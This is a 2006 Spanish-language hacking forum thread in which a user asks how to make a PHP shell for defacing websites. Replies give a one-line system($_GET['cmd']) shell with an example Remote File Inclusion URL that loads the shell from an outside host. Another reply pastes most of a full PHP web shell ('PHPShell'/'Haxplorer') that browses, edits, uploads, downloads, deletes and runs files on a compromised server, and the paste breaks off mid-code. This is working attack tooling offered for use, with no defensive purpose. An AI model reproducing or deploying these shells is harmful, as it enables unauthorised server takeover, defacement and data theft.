elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 17:11  


Tema destacado: Recuperar cuenta de Google, GMail, Youtube

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Shell con Server Side Scripting?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Shell con Server Side Scripting?  (Leído 1,948 veces)
Jeferi


Desconectado Desconectado

Mensajes: 836


I always tell the truth.... even when I lie....


Ver Perfil WWW
Shell con Server Side Scripting?
« en: 25 Marzo 2006, 12:14 »

Es que el otro dia estuve viendo un videotutorial de Defacing de la web de [una web], y subian un archivo llamado "juax.php" que es la shell, pero es que no se como hacerla :S A lo mejor parece tonto pero, la pregunta tonta es la que no se hace :P

Saludos Jeferi
« Última modificación: 26 Marzo 2006, 23:44 por SirDarckCat » En línea

There's no true, without a lie
DADE

Desconectado Desconectado

Mensajes: 213


Nada tarda tanto como aquello que no se empieza


Ver Perfil WWW
Re: Shell ?
« Respuesta #1 en: 25 Marzo 2006, 12:26 »

La shell debes subirla a un server tuyo para despues usarla sobre el otro servidor. La shell t epermite ejecutar comandos sobre el otro servidor.

Busca sobre RFI Remote File Inclusion, tienes mucha info en este foro ;)

Un saludo
En línea



El nuevo dominio es: www.slotinformatico.net
Jeferi


Desconectado Desconectado

Mensajes: 836


I always tell the truth.... even when I lie....


Ver Perfil WWW
Re: Shell ?
« Respuesta #2 en: 25 Marzo 2006, 12:34 »

Pero cm "creo" la shell ?

Saludos Jeferi
En línea

There's no true, without a lie
DADE

Desconectado Desconectado

Mensajes: 213


Nada tarda tanto como aquello que no se empieza


Ver Perfil WWW
Re: Shell ?
« Respuesta #3 en: 25 Marzo 2006, 12:38 »

Tienes varias shell por ahi, no es necesario que las crees tu

Ya te dije que en este foro tienes mucha info

Un saludo
En línea



El nuevo dominio es: www.slotinformatico.net
Jeferi


Desconectado Desconectado

Mensajes: 836


I always tell the truth.... even when I lie....


Ver Perfil WWW
Re: Shell ?
« Respuesta #4 en: 25 Marzo 2006, 12:49 »

Un momento a ver si la he cagado xD Es lo mismo una shell que un Ejecutor de comandos para Remote File Inclusion ?? Ti buscando por google y que nada :S

Saludos Jeferi
En línea

There's no true, without a lie
.:CorTeX:.

Desconectado Desconectado

Mensajes: 135


The Gimp User


Ver Perfil WWW
Re: Shell ?
« Respuesta #5 en: 25 Marzo 2006, 12:57 »

podria ser algo asi:
Código:
<?php
system($_GET['cmd']);
?>

Lo podrias hacer para ejecutar asi:

http://www.vulnerable.com/index.php?pagina=http://www.elexploit.com/exploit.gif&cmd=id

Reemplaza el id por el comando a ejecutar  ;)
En línea

Orgullosamente Colombiano


fandango
Another
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.953


Powered By Slackware!


Ver Perfil
Re: Shell ?
« Respuesta #6 en: 25 Marzo 2006, 19:32 »

Pero cm "creo" la shell ?

Saludos Jeferi

Tienes que saber algun lenguaje como php o asp.
En línea

Ertai
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.026


Ralph Wiggum


Ver Perfil
Re: Shell ?
« Respuesta #7 en: 26 Marzo 2006, 13:07 »

Código:
<?php
error_reporting(0);
$PHPVer=phpversion();
$isGoodver=(intval($PHPVer[0])>=4);
$scriptTitle = "PHPShell";
$scriptident = "$scriptTitle by Macker";

if (empty($Pmax))
$Pmax = 50;   /* Identifies the max amount of Directories and files listed on one page */
if (empty($Pidx))
$Pidx = 0;

$dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
$file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));

$scriptdate = "15-07-2002";
$scriptver = "Version 2.5.3dev";
$LOCAL_IMAGE_DIR = "img";
$REMOTE_IMAGE_URL = "img";
$SFileName="phpshell.php";
$img = array(
"Edit" => "edit.JPG",
"Download" => "download.JPG",
"Upload" => "upload.JPG",
"Delete" => "delete.JPG",
"View" => "view.JPG",
"Rename" => "rename.JPG",
"Move" => "move.JPG",
"Copy" => "copy.JPG",
"Execute" => "exec.JPG"
            );

while (list($id, $im)=each($img))
if (file_exists("$LOCAL_IMAGE_DIR/$im"))
$img[$id] = "<img height=\"16\" width=\"16\" border=\"0\" src=\"$REMOTE_IMAGE_URL/$im\" alt=\"$id\">";
else
  $img[$id] = "[$id]";

/* <!-- A few handy functions --> */

function spacetonbsp($instr) { return str_replace(" ", "&nbsp;", $instr);  }

function Mydeldir($Fdir) {
if (is_dir($Fdir)) {
$Fh=@opendir($Fdir);
  while ($Fbuf = readdir($Fh))
  if (($Fbuf != ".") && ($Fbuf != ".."))
Mydeldir("$Fdir/$Fbuf");
@closedir($Fh);
return rmdir($Fdir);
} else {
return unlink($Fdir);
}
}

function formatsize($insize) {
$size = $insize;
$add = "B";
if ($size > 1024) {
  $size = intval(intval($size) / 1.024)/1000;
  $add = "KB";
  }
  if ($size > 1024) {
  $size = intval(intval($size) / 1.024)/1000;
  $add = "MB";
  }
  if ($size > 1024) {
  $size = intval(intval($size) / 1.024)/1000;
  $add = "GB";
  }
  if ($size > 1024) {
  $size = intval(intval($size) / 1.024)/1000;
  $add = "TB";
  }
  return "$size $add";
}

if ($cmd != "downl") {
?>

<!-- <?php echo $scriptident ?>, <?php echo $scriptver ?>, <?php echo $scriptdate ?>  -->
<HTML>
 <HEAD>
  <STYLE>
  <!--
    A{ text-decoration:none; color:navy; font-size: 12px }
    body { font-size: 12px; }
    Table { font-size: 12px; }
    TR{ font-size: 12px; }
    TD{ font-size: 12px; BORDER-LEFT: black 0px solid; BORDER-RIGHT: black 0px solid; BORDER-TOP: black 0px solid; BORDER-BOTTOM: black 0px solid; COLOR: black; }
    .border{       BORDER-LEFT: black 1px solid;
     BORDER-RIGHT: black 1px solid;
     BORDER-TOP: black 1px solid;
     BORDER-BOTTOM: black 1px solid;
  }
    .none  {       BORDER-LEFT: black 0px solid;
     BORDER-RIGHT: black 0px solid;
     BORDER-TOP: black 0px solid;
     BORDER-BOTTOM: black 0px solid;
  }

    .top { BORDER-TOP: black 1px solid; }
    .textin { BORDER-LEFT: silver 1px solid;
              BORDER-RIGHT: silver 1px solid;
        BORDER-TOP: silver 1px solid;
              BORDER-BOTTOM: silver 1px solid;
              width: 99%; font-size: 12px; font-weight: bold; color: navy;
            }
    .notop { BORDER-TOP: black 0px solid; }
    .bottom { BORDER-BOTTOM: black 1px solid; }
    .nobottom { BORDER-BOTTOM: black 0px solid; }
    .left { BORDER-LEFT: black 1px solid; }
    .noleft { BORDER-LEFT: black 0px solid; }
    .right { BORDER-RIGHT: black 1px solid; }
    .noright { BORDER-RIGHT: black 0px solid; }
    .silver{ BACKGROUND: silver; }
  -->
  </STYLE>
  <TITLE><?php echo $SFileName ?></TITLE>
 </HEAD>
 <body topmargin="0" leftmargin="0">
 <table width=100% NOWRAP border="0">
  <tr NOWRAP>
   <td width="100%" NOWRAP>
    <table NOWRAP width=100% border="0" cellpadding="0" cellspacing="0">
     <tr>
      <td width="100%" class="silver border">
       <center>
    <strong>
<font size=3><?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?></font>
            </strong>
       </center>
      </td>
     </tr>
    </table><br>

<?php
}

if ( $cmd=="dir" ) {
  $h=@opendir($dir);
  if ($h == false) {
  echo "<br><font color=\"red\">&nbsp;&nbsp;&nbsp;\n\n\n\n
                COULD NOT OPEN THIS DIRECTORY!!!<br>&nbsp;&nbsp;&nbsp;\n
                THE SCRIPT WILL RESULT IN AN ERROR!!!
                <br><br>&nbsp;&nbsp;&nbsp;\n
                PLEASE MAKE SURE YOU'VE GOT READ PERMISSIONS TO THE DIR...
                <br><br></font>\n\n\n\n";
  }
        if (function_exists('realpath')) {
$partdir = realpath($dir);
}
        else {
$partdir = $dir;
}
  if (strlen($partdir) >= 100) {
  $partdir = substr($partdir, -100);
  $pos = strpos($partdir, "/");
  if (strval($pos) != "") {
  $partdir = "<--   ...".substr($partdir, $pos);
  }
        $partdir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $partdir )));
        $dir = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $dir )));
$file = str_replace("\\", "/", str_replace("//", "/", str_replace("\\\\", "\\", $file )));
  }
    ?>
      <form name="urlform" action="<?php echo $SFileName ?>"><input type="hidden" name="cmd" value="dir">
         <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0">
  <tr>
   <td width="100%" class="silver border">
    <center>&nbsp;HAXPLORER - Server Files Browser...&nbsp;</center>
   </td>
  </tr>
</table>
       <br>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
  <tr>
           <td class="border nobottom noright">
            &nbsp;Browsing:&nbsp;
  </td>
          <td width="100%" class="border nobottom noleft">
        <table width="100%" border="0" cellpadding="1" cellspacing="0">
             <tr>
              <td NOWRAP width="99%" align="center"><input type="text" name="dir" class="none textin" value="<?php echo $partdir ?>"></td>
              <td NOWRAP><center>&nbsp;<a href="javascript: urlform.submit();"><b>GO<b></a>&nbsp;<center></td>
             </tr>
            </table>

  </td>
</tr>
</table>
  <!--    </form>   -->
        <table NOWRAP width="100%" border="0" cellpadding="0" cellspacing="0" >
         <tr>
  <td width="100%" NOWRAP class="silver border">
   &nbsp;Filename&nbsp;
  </td>
          <td NOWRAP class="silver border noleft">
   &nbsp;Actions&nbsp;(Attempt to perform)&nbsp;
  </td>
          <td NOWRAP class="silver border noleft">
   &nbsp;Size&nbsp;
  </td>
          <td width=1 NOWRAP class="silver border noleft">
   &nbsp;Attributes&nbsp;
  </td>
          <td NOWRAP class="silver border noleft">
   &nbsp;Modification Date&nbsp;
  </td>
<tr>
    <?php


      /* <!-- This whole heap of junk is the sorting section... */

  $dirn = array();
  $filen = array();
  $filesizes = 0;
  while ($buf = readdir($h)) {
    if (is_dir("$dir/$buf"))
$dirn[] = $buf;
    else {
  $size = @filesize("$dir/$buf");
  If ($size != false) {
  $filesizes = $filesizes + $size;
  }
  $filen[] = $buf;
    }
$dirno = count($dirn) + 1;
  $fileno = count($filen) + 1;

  function mycmp($a, $b){
if ($a == $b) return 0;
return (strtolower($a) < strtolower($b)) ? -1 : 1;
}

if (function_exists("usort")) {
usort($dirn, "mycmp");
usort($filen, "mycmp");
}
else {
sort ($dirn);
sort ($filen);
}
reset ($dirn);
  reset ($filen);
  if (function_exists('array_merge')) {
$filelist = array_merge ($dirn, $filen);
}
  else {
$filelist = $dirn + $filen;
}


if ( count($filelist)-1 > $Pmax ) {
$from = $Pidx * $Pmax;
$to = ($Pidx + 1) * $Pmax-1;
if ($to - count($filelist) - 1 + ($Pmax / 2) > 0 )
$to = count($filelist) - 1;
if ($to > count($filelist)-1)
$to = count($filelist)-1;
$Dcontents = array();
For ($Fi = $from; $Fi <= $to; $Fi++) {
$Dcontents[] = $filelist[$Fi];
}

}
else {
$Dcontents = $filelist;
}

     while (list ($key, $file) = each ($Dcontents)) {
  if (is_dir("$dir/$file")) { /* <!-- If it's a Directory --> */
          /* <!-- Dirname --> */
echo "<tr><td NOWRAP class=\"top left right\">&nbsp;&nbsp;&nbsp;<a href=\"$SFileName?cmd=dir&dir=$dir/$file\">[$file]</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>\n";
  /* <!-- Actions --> */
echo "<td NOWRAP class=\"top right\"><center>&nbsp;&nbsp;\n";
  /* <!-- Rename --> */
if ( ($file != ".") && ($file != "..") )
echo "<a href=\"$SFileName?cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file\">".$img["Rename"]."</a>&nbsp;&nbsp;&nbsp;\n";
  /* <!-- Delete --> */
if ( ($file != ".") && ($file != "..") )
echo "&nbsp;&nbsp;&nbsp;<a href=\"$SFileName?cmd=deldir&file=$dir/$file&lastcmd=dir&lastdir=$dir\">".$img["Delete"]."</a>\n";
/* <!-- End of Actions --> */
echo "&nbsp;&nbsp;</center></td>\n";
  /* <!-- Size --> */
echo "<td NOWRAP class=\"top right\">&nbsp;</td>\n";
  /* <!-- Attributes --> */
echo "<td NOWRAP class=\"top right\">&nbsp;&nbsp;\n";
  echo "<strong>D</strong>";
        if ( @is_readable("$dir/$file") ) {
    echo "<strong>R</strong>";
  }
  if (function_exists('is_writeable')) {
if ( @is_writeable("$dir/$file") ) {
  echo "<strong>W</stong>";
  }
}
  else {
    echo "<strong>(W)</stong>";
  }
  if ( @is_executable("$dir/$file") ) {
  echo "<Strong>X<strong>";
  }
  echo "&nbsp;&nbsp;</td>\n";
  /* <!-- Date --> */
echo "<td NOWRAP class=\"top right\" NOWRAP>\n";
  echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;";
  echo "</td>";
echo "</tr>\n";

        }
  else { /* <!-- Then it must be a File... --> */
      /* <!-- Filename --> */
if ( @is_readable("$dir/$file") )
  echo "<tr><td NOWRAP class=\"top left right\">&nbsp;&nbsp;&nbsp;<a href=\"$SFileName?cmd=file&file=$dir/$file\">$file</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>\n";
  else
  echo "<tr><td NOWRAP class=\"top left right\">&nbsp;&nbsp;&nbsp;$file&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>\n";
      /* <!-- Actions --> */
echo "<td NOWRAP class=\"top right\"><center>&nbsp;&nbsp;\n";
  /* <!-- Rename --> */
echo "<a href=\"$SFileName?cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file\">".$img["Rename"]."</a>&nbsp;&nbsp;&nbsp;\n";
  /* <!-- Edit --> */
if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) )
  echo "<a href=\"$SFileName?cmd=edit&file=$dir/$file\">".$img["Edit"]."</a>&nbsp;&nbsp;&nbsp;\n";
    /* <!-- Copy --> */
  echo "<a href=\"$SFileName?cmd=copy&file=$dir/$file\">".$img["Copy"]."</a>\n";
  /* <!-- Move --> */
if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) )
  echo "&nbsp;&nbsp;&nbsp;<a href=\"$SFileName?cmd=move&file=$dir/$file\">".$img["Move"]."</a>\n";
    /* <!-- Delete --> */
echo "&nbsp;&nbsp;&nbsp;<a href=\"$SFileName?cmd=delfile&file=$dir/$file&lastcmd=dir&lastdir=$dir\">".$img["Delete"]."</a>\n";
  /* <!-- Download --> */
echo "&nbsp;&nbsp;&nbsp;<a href=\"$SFileName?cmd=downl&file=$dir/$file\">".$img["Download"]."</a>\n";
  /* <!-- Execute --> */
if ( @is_executable("$dir/$file") )
  echo "&nbsp;&nbsp;&nbsp;<a href=\"$SFileName?cmd=execute&file=$dir/$file\">".$img["Execute"]."</a>\n";
    /* <!-- End of Actions --> */
echo "&nbsp;&nbsp;</center></td>\n";
  /* <!-- Size --> */
echo "<td NOWRAP align=\"right\" class=\"top right\" NOWRAP >\n";
  $size = @filesize("$dir/$file");
  If ($size != false)
echo "&nbsp;&nbsp;<strong>".formatsize($size)."<strong>";
else
echo "&nbsp;&nbsp;<strong>0 B<strong>";
  echo "&nbsp;&nbsp;</td>\n";

  /* <!-- Attributes --> */
echo "<td NOWRAP class=\"top right\">&nbsp;&nbsp;\n";

  if ( @is_readable("$dir/$file") )
  echo "<strong>R</strong>";
    if ( @is_writeable("$dir/$file") )
  echo "<strong>W</stong>";
    if ( @is_executable("$dir/$file") )
  echo "<Strong>X<strong>";
    if (function_exists('is_uploaded_file')){
  if ( @is_uploaded_file("$dir/$file") )
  echo "<Strong>U<strong>";
  }
  else {
echo "<Strong>(U)<strong>";
}
  echo "&nbsp;&nbsp;</td>\n";
/* <!-- Date --> */
echo "<td NOWRAP class=\"top right\" NOWRAP>\n";
  echo "&nbsp;&nbsp;".date("D d-m-Y H:i:s", filemtime("$dir/$file"))."&nbsp;&nbsp;";
  echo "</td>";
  echo "</tr>\n";
  }
  }

    echo "</table><table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr>\n<td NOWRAP width=100% class=\"silver border noright\">\n";
  echo "&nbsp;&nbsp;".@count ($dirn)."&nbsp;Dir(s),&nbsp;".@count ($filen)."&nbsp;File(s)&nbsp;&nbsp;\n";
  echo "</td><td NOWRAP class=\"silver border noleft\">\n";
  echo "&nbsp;&nbsp;Total filesize:&nbsp;".formatsize($filesizes)."&nbsp;&nbsp;<td></tr>\n";

function printpagelink($a, $b, $link = ""){
if ($link != "")
echo "<A HREF=\"$link\"><b>| $a - $b |</b></A>";
else
echo "<b>| $a - $b |</b>";
}

if ( count($filelist)-1 > $Pmax ) {
echo "<tr><td colspan=\"2\" class=\"silver border notop\"><table width=\"100%\" cellspacing=\"0\" cellpadding=\"3\"><tr><td valign=\"top\"><font color=\"red\"><b>Page:</b></font></td><td width=\"100%\"><center>";
$Fi = 0;
while ( ( (($Fi+1)*$Pmax) + ($Pmax/2) ) < count($filelist)-1 ) {
$from = $Fi*$Pmax;
while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++;
$to = ($Fi + 1) * $Pmax - 1;
if ($Fi == $Pidx)
$link="";
else
$link="$SFilename?cmd=$cmd&dir=$dir&Pidx=$Fi";
printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link);
echo "&nbsp;&nbsp;&nbsp;";
$Fi++;
}
$from = $Fi*$Pmax;
while (($filelist[$from]==".") || ($filelist[$from]=="..")) $from++;
$to = count($filelist)-1;
if ($Fi == $Pidx)
$link="";
else
$link="$SFilename?cmd=$cmd&dir=$dir&Pidx=$Fi";
printpagelink (substr(strtolower($filelist[$from]), 0, 5), substr(strtolower($filelist[$to]), 0, 5), $link);


echo "</center></td></tr></table></td></tr>";
}


    echo "</table>\n<br><table NOWRAP>";

  if ($isGoodver) {
echo "<tr><td class=\"silver border\">&nbsp;<strong>Server's PHP Version:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer&nbsp;</td></tr>\n";
}
  else {
echo "<tr><td class=\"silver border\">&nbsp;<strong>Server's PHP Version:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PHPVer (Some functions might be unavailable...)&nbsp;</td></tr>\n";
}
      /* <!-- Other Actions --> */
    echo "<tr><td class=\"silver border\">&nbsp;<strong>Other actions:&nbsp;&nbsp;</strong>&nbsp;</td>\n";
  echo "<td>&nbsp;<b><a href=\"$SFileName?cmd=newfile&lastcmd=dir&lastdir=$dir\">| New File |</a>\n&nbsp;&nbsp;&nbsp;<a href=\"$SFileName?cmd=newdir&lastcmd=dir&lastdir=$dir\">| New Directory |</a>\n&nbsp;&nbsp;&nbsp;<a href=\"$SFileName?cmd=upload&dir=$dir&lastcmd=dir&lastdir=$dir\">| Upload a File |</a></b>\n</td></tr>\n";
    echo "<tr><td class=\"silver border\">&nbsp;<strong>Script Location:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$PATH_TRANSLATED</td></tr>\n";
  echo "<tr><td class=\"silver border\">&nbsp;<strong>Your IP:&nbsp;&nbsp;</strong>&nbsp;</td><td>&nbsp;$REMOTE_ADDR&nbsp;</td></tr>\n";
  echo "<tr><td class=\"silver border\">&nbsp;<strong>Browsing Directory:&nbsp;&nbsp;</strong></td><td>&nbsp;$partdir&nbsp;</td></tr>\n";
  echo "<tr><td valign=\"top\" class=\"silver border\">&nbsp;<strong>Legend:&nbsp;&nbsp;</strong&nbsp;</td><td>\n";
  echo "<table NOWRAP>";
        echo "<tr><td><strong>D:</strong></td><td>&nbsp;&nbsp;Directory.</td></tr>\n";
    echo "<tr><td><strong>R:</strong></td><td>&nbsp;&nbsp;Readable.</td></tr>\n";
  echo "<tr><td><strong>W:</strong></td><td>&nbsp;&nbsp;Writeable.</td></tr>\n";
  echo "<tr><td><strong>X:</strong></td><td>&nbsp;&nbsp;Executable.</td></tr>\n";
  echo "<tr><td><strong>U:</strong></td><td>&nbsp;&nbsp;HTTP Uploaded File.</td></tr>\n";
  echo "</table></td>";
  echo "</table>";
  echo "<br>";
      @closedir($h);
  }
  elseif ( $cmd=="execute" ) {/*<!-- Execute the executable -->*/
  echo system("$file");
 }
elseif ( $cmd=="deldir" ) { /*<!-- Delete a directory and all it's files --> */
echo "<center><table><tr><td NOWRAP>" ;
  if ($auth == "yes") {
if (Mydeldir($file)==false) {
  echo "Could not remove \"$file\"<br>Permission denied, or directory not empty...";
  }
  else {
  echo "Successfully removed \"$file\"<br>";
  }
  echo "<form action=\"$SFileName\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form>";
}
  else {
echo "Are you sure you want to delete \"$file\" and all it's subdirectories ?
        <form action=\"$SFileName\" method=\"POST\">
        <input type=\"hidden\" name=\"cmd\" value=\"deldir\">
      <input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">
      <input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">
      <input type=\"hidden\" name=\"file\" value=\"$file\">
      <input type=\"hidden\" name=\"auth\" value=\"yes\">
      <input type=\"submit\" value=\"Yes\"></form>
        <form action=\"$SFileName\" method=\"POST\">
<input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
<input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
<input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>";
        }
  echo "</td></tr></center>";
}
 elseif ( $cmd=="delfile" ) { /*<!-- Delete a file --> */ echo "<center><table><tr><td NOWRAP>" ;
  if ($auth == "yes") {
if (@unlink($file)==false) {
  echo "Could not remove \"$file\"<br>";
  }
  else {
  echo "Successfully removed \"$file\"<br>";
  }
echo "<form action=\"$SFileName\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form>";
        }
  else {
        echo "Are you sure you want to delete \"$file\" ?
      <form action=\"$SFileName\" method=\"POST\">
      <input type=\"hidden\" name=\"cmd\" value=\"delfile\">
      <input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">
      <input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">
      <input type=\"hidden\" name=\"file\" value=\"$file\">
      <input type=\"hidden\" name=\"auth\" value=\"yes\">

      <input type=\"submit\" value=\"Yes\"></form>
        <form action=\"$SFileName\" method=\"POST\">
<input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
<input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
<input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>";
        }
  echo "</td></tr></center>";
}
elseif ( $cmd=="newfile" ) { /*<!-- Create new file with default name --> */
echo "<center><table><tr><td NOWRAP>";
  $i = 1;
  while (file_exists("$lastdir/newfile$i.txt"))
  $i++;
  $file = fopen("$lastdir/newfile$i.txt", "w+");
  if ($file == false)
  echo "Could not create the new file...<br>";
  else
  echo "Successfully created: \"$lastdir/newfile$i.txt\"<br>";
  echo "
    <form action=\"$SFileName\" method=\"POST\">
<input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
<input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
<input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\">
</form></center>
  </td></tr></table></center>    ";
}
elseif ( $cmd=="newdir" ) { /*<!-- Create new directory with default name --> */
echo "<center><table><tr><td NOWRAP>" ;
  $i = 1;
  while (is_dir("$lastdir/newdir$i"))
  $i++;
  $file = mkdir("$lastdir/newdir$i", 0777);
  if ($file == false)
  echo "Could not create the new directory...<br>";
  else
  echo "Successfully created: \"$lastdir/newdir$i\"<br>";
  echo "<form action=\"$SFileName\" method=\"POST\">
<input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
<input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
<input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\">
</form></center></td></tr></table></center>";
}
elseif ( $cmd=="edit" ) { /*<!-- Edit a file and save it afterwards with the saveedit block. --> */
$contents = "";
$fc = @file( $file );
  while ( @list( $ln, $line ) = each( $fc ) ) {
  $contents .= htmlentities( $line ) ;
  }
  echo "<br><center><table><tr><td NOWRAP>";
echo "<form action=\"$SFileName\" method=\"post\">\n";
echo "<input type=\"hidden\" name=\"cmd\" value=\"saveedit\">\n";
echo "<strong>EDIT FILE: </strong>$file<br>\n";
echo "<textarea rows=\"25\" cols=\"95\" name=\"contents\">$contents</textarea><br>\n";
echo "<input size=\"50\" type=\"text\" name=\"file\" value=\"$file\">\n";
echo "<input type=\"submit\" value=\"Save\">";
echo "</form>";
echo "</td></tr></table></center>";
}
elseif ( $cmd=="saveedit" ) { /*<!-- Save the edited file back to a file --> */
$fo = fopen($file, "w");
$wrret = fwrite($fo, stripslashes($contents));
$clret = fclose($fo);
}
elseif ( $cmd=="downl" ) { /*<!-- Save the edited file back to a file --> */
$downloadfile = urldecode($file);
if (function_exists("basename"))
    $downloadto = basename ($downloadfile);
else
$downloadto = "download.ext";
if (!file_exists("$downloadfile"))
echo "The file does not exist";
else {
$size = @filesize("$downloadfile");
if ($size != false) {
$add="; size=$size";
}
else {
$add="";
}
  header("Content-Type: application/download");
header("Content-Disposition: attachment; filename=$downloadto$add");
$fp=fopen("$downloadfile" ,"rb");
fpassthru($fp);
flush();
}
}
elseif ( $cmd=="upload" ) { /* <!-- Upload File form --> */
    ?>
<center>
<table>
  <tr>
   <td NOWRAP>
    Welcome to the upload section...
  Please note that the destination file will be
<br> overwritten if it already exists!!!<br><br>
  <form enctype="multipart/form-data" action="<?php echo $SFileName ?>" method="post">
  <input type="hidden" name="MAX_FILE_SIZE" value="1099511627776">
  <input type="hidden" name="cmd" value="uploadproc">
  <input type="hidden" name="dir" value="<?php echo $dir ?>">
  <input type="hidden" name="lastcmd" value="<?php echo $lastcmd ?>">
  <input type="hidden" name="lastdir" value="<?php echo $lastdir ?>">
  Select local file:<br>
  <input size="75" name="userfile" type="file"><br>
  <input type="submit" value="Send File">
  </form>
<br>
  <form action="<?php echo $SFileName ?>" method="POST">
<input type="hidden" name="cmd" value="<?php echo $lastcmd ?>">
<input type="hidden" name="dir" value="<?php echo $lastdir ?>">
<input tabindex="0" type="submit" value="Cancel">
</form>
   </td>
  </tr>
</table>
</center>

  <?php
}
elseif ( $cmd=="uploadproc" ) { /* <!-- Process Uploaded file --> */
echo "<center><table><tr><td NOWRAP>";
if (file_exists($userfile))
$res = copy($userfile, "$dir/$userfile_name");
echo "Uploaded \"$userfile_name\" to \"$userfile\"; <br>\n";
      if ($res) {
echo "Successfully moved \"$userfile\" to \"$dir/$userfile_name\".\n<br><br>";
echo "Local filename: \"$userfile_name\".\n<br>Remote filename: \"$userfile\".\n<br>";
echo "Filesize: ".formatsize($userfile_size).".\n<br>Filetype: $userfile_type.\n<br>";
}
else {
echo "Could not move uploaded file; Action aborted...";
}
echo "<form action=\"$SFileName\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form></center>" ;
echo "<br><br></td></tr></table></center>";
}
elseif ( $cmd=="file" ) { /* <!-- View a file in text --> */
$fc = @file( $file );  while ( @list( $ln, $line ) = each( $fc ) ) {
  echo spacetonbsp(@htmlentities($line))."<br>\n";
  }
}
elseif ( $cmd=="ren" ) { /* <!-- File and Directory Rename --> */
      if (function_exists('is_dir')) {
  if (is_dir("$oldfile")) {
  $objname = "Directory";
  $objident = "Directory";
  }
  else {
  $objname = "Filename";
  $objident = "file";
  }
  }
    echo "<table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td width=100% style=\"class=\"silver border\"><center>&nbsp;Rename a file:&nbsp;</center></td></tr></table><br>\n";
If (empty($newfile) != true) {
  echo "<center>";
$return = @rename($oldfile, "$olddir$newfile");
if ($return) {
  echo "$objident renamed successfully:<br><br>Old $objname: \"$oldfile\".<br>New $objname: \"$olddir$newfile\"";
  }
  else {
  if ( @file_exists("$olddir$newfile") ) {
  echo "Error: The $objident does already exist...<br><br>\"$olddir$newfile\"<br><br>Hit your browser's back to try again...";
  }
  else {
  echo "Error: Can't copy the file, the file could be in use or you don't have permission to rename it.";
  }
  }
  echo "<form action=\"$SFileName\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form></center>" ;
  }
  else {
  $dpos = strrpos($oldfile, "/");
  if (strval($dpos)!="") {
  $olddir = substr($oldfile, 0, $dpos+1);
    }
  else {
  $olddir = "$lastdir/";
}
  $fpos = strrpos($oldfile, "/");
  if (strval($fpos)!="") {
  $inputfile = substr($oldfile, $fpos+1);
    }
  else {
$inputfile = "";
  }
        echo "<center><table><tr><td><form action=\"$SFileName\" method=\"post\">\n";
  echo "<input type=\"hidden\" name=\"cmd\" value=\"ren\">\n";
  echo "<input type=\"hidden\" name=\"oldfile\" value=\"$oldfile\">\n";
  echo "<input type=\"hidden\" name=\"olddir\" value=\"$olddir\">\n";
  echo "<input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">\n";
